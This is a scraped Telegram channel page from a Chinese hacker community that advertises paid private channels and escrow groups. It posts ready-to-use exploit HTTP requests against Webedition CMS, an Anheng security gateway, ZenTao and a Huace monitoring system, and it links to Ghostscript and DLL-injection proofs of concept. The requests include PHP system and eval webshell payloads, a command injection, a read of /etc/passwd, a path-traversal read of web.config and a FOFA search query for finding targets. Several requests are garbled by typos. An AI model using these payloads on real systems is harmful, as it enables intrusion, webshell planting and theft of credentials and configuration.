黑客自由城 优质内容共享
Open in Telegram
telegram最大的黑客交流社区 @Hacker_CityN （核心技术） @Hacker_CityM （核心发布） @DARKWEBEN （担保主群） @DARKWEB_EN2 （渗透推文） @hackerspike （资源交流） @spike_hacker （资源分享） @kaliLinux666 （收款存根） @Hacker_CityL （业务对接） 私有频道联系管理员付费加入
Show moreThe country is not specifiedTechnologies & Applications33 626
2 390
Subscribers
-124 hours
-17 days
+330 days
Posts Archive
2 390
Webedition CMS v2.9.8.8 - 遠程代碼執行 (RCE)
"cat /etc/passwd"
POST /webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0dd HTTP/1.1
Host: {{Hostname}}
Content-Length: 1621
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://{{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://{{Hostname}}/webEdition/we_cmd.php?we_cmd[0]=switch_edit_page&we_cmd[1]=0&we_cmd[2]=4fd880c06df5a590754ce5b8738cd0dd
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: treewidth_main=300; WESESSION=e781790f1d79ddaf9e3a0a4eb42e55b04496a569; cookie=yep; treewidth_main=300
Connection: close
we_transaction=4fd880c06df5a590754ce5b8738cd0dd&we_003be033b474a5c25132d388906fb4ae_Filename=poc&we_003be033b474a5c25132d388906fb4ae_Extension=.php&wetmp_we_003be033b474a5c25132d388906fb4ae_Extension=&we_003be033b474a5c25132d388906fb4ae_ParentPath=%2F&we_003be033b474a5c25132d388906fb4ae_ParentID=0&yuiAcContentTypeParentPath=&we_003be033b474a5c25132d388906fb4ae_DocType=&we_003be033b474a5c25132d388906fb4ae_TemplateName=%2F&we_003be033b474a5c25132d388906fb4ae_TemplateID=&yuiAcContentTypeTemplate=&we_003be033b474a5c25132d388906fb4ae_IsDynamic=0&we_003be033b474a5c25132d388906fb4ae_IsSearchable=0&we_003be033b474a5c25132d388906fb4ae_InGlossar=0&we_003be033b474a5c25132d388906fb4ae_txt%5BTitle%5D=asdf&we_003be033b474a5c25132d388906fb4ae_txt%5BDescription%5D=%22%3E%3C%3Fphp+echo+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E&we_003be033b474a5c25132d388906fb4ae_txt%5BKeywords%5D=asdf&fold%5B0%5D=0&fold_named%5BPropertyPage_3%5D=0&we_003be033b474a5c25132d388906fb4ae_Language=en_GB&we_003be033b474a5c25132d388906fb4ae_LanguageDocName%5Bde_DE%5D=&we_003be033b474a5c25132d388906fb4ae_LanguageDocID%5Bde_DE%5D=&yuiAcContentTypeLanguageDocdeDE=&we_003be033b474a5c25132d388906fb4ae_LanguageDocName%5Ben_GB%5D=&we_003be033b474a5c25132d388906fb4ae_LanguageDocID%5Ben_GB%5D=&yuiAcContentTypeLanguageDocenGB=&fold%5B1%5D=0&fold_named%5BPropertyPage_4%5D=0&we_003be033b474a5c25132d388906fb4ae_CopyID=0&fold%5B2%5D=0&fold_named%5BPropertyPage_6%5D=0&wetmp_003be033b474a5c25132d388906fb4ae_CreatorID=%2Fadmin&we_003be033b474a5c25132d388906fb4ae_CreatorID=1&we_003be033b474a5c25132d388906fb4ae_RestrictOwners=0&we_complete_request=1
2 390
安恒 明御安全网关 aaa_portal_auth_local_submit 远程命令执行漏洞
FOFA：body="/webui/images/basic/login/" && title=="明御安全网关"
复现步骤
GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&suffix=%7Burlenc(%60id+%3E/usr/local/webui/test.txt%60)%7D HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
任意文件上传
GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&$type=1&suffix=1|echo+"<%3fphp+eval(\$_POST[\"a\"]);?>"+>+.xxx.php HTTP/1.1
2 390
禅道18.0-18.3 backstage命令注入 POC
POST/zentaopms/www/index.php?m=zahost&f=create HTTP/1.1
Host: 127.0..13
User-Agent: Mozilla/5.0 (Window5 NT 10.0; win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: application/json, text/javascript，*/*; g=0.01
Accept-Language: zh-N,zh;g=0.8,zh-Tw;g=0.7,zh-HK;g=0.5,en-Us;g0.3,en;g=0.2
Accept-Encoding: gzip， deflate
Referer: http://127.0.0.1/zentaopms/www/index.php?m=zahost&f=create8 Content-Type: application/x-www-form-urlencoded; charset=UTF-8GX-Requested-With: XMLHttpRequest
Content-Length: 134
Origin: http://127.0.0.1
Connection: close
Cookie: zentaosid=dhjpu2i3g5116j5eba85agl27f; lang=zh-cn; device=desktop; theme=default;tab=ga; windowwidth=1632: windowHeight=783
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-site:same-originvsoft=kvm&hostTypephysical&name=penson&extranet=127.0.0,1%7Ccalc,exe&cpuCores=2&memory=16&disksize=16&desc=&uid=640be59da4851&type=za2 390
Если нужно быстро сориентироваться по системным вызовам ядра Linux.
Числа и параметры для различных архитектур и версий ядра.
https://syscalls.mebeim.net
#linux #syscalls #arch
2 390
DllNotificationInection
Используя концепцию обратных вызовов уведомлений DLL в локальных и удаленных процессах можно вызвать Calc )
*
WriteUp "must have"
*
POC
2 390
CVE-2023-36664
Ghostscript command injection vulnerability PoC exploit
exploit
#ghostScript #exploit
2 390
华测监测预警系统 任意文件读取漏洞 POC
POST /Handler/FileDownLoad.ashx HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4495.0 Safari/537.36
Accept: Cext/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Vccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Eccept-Encoding: gzip, deflate
Sontent-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://ip:port
Connection: close
filename=1&filepath=../../web.config
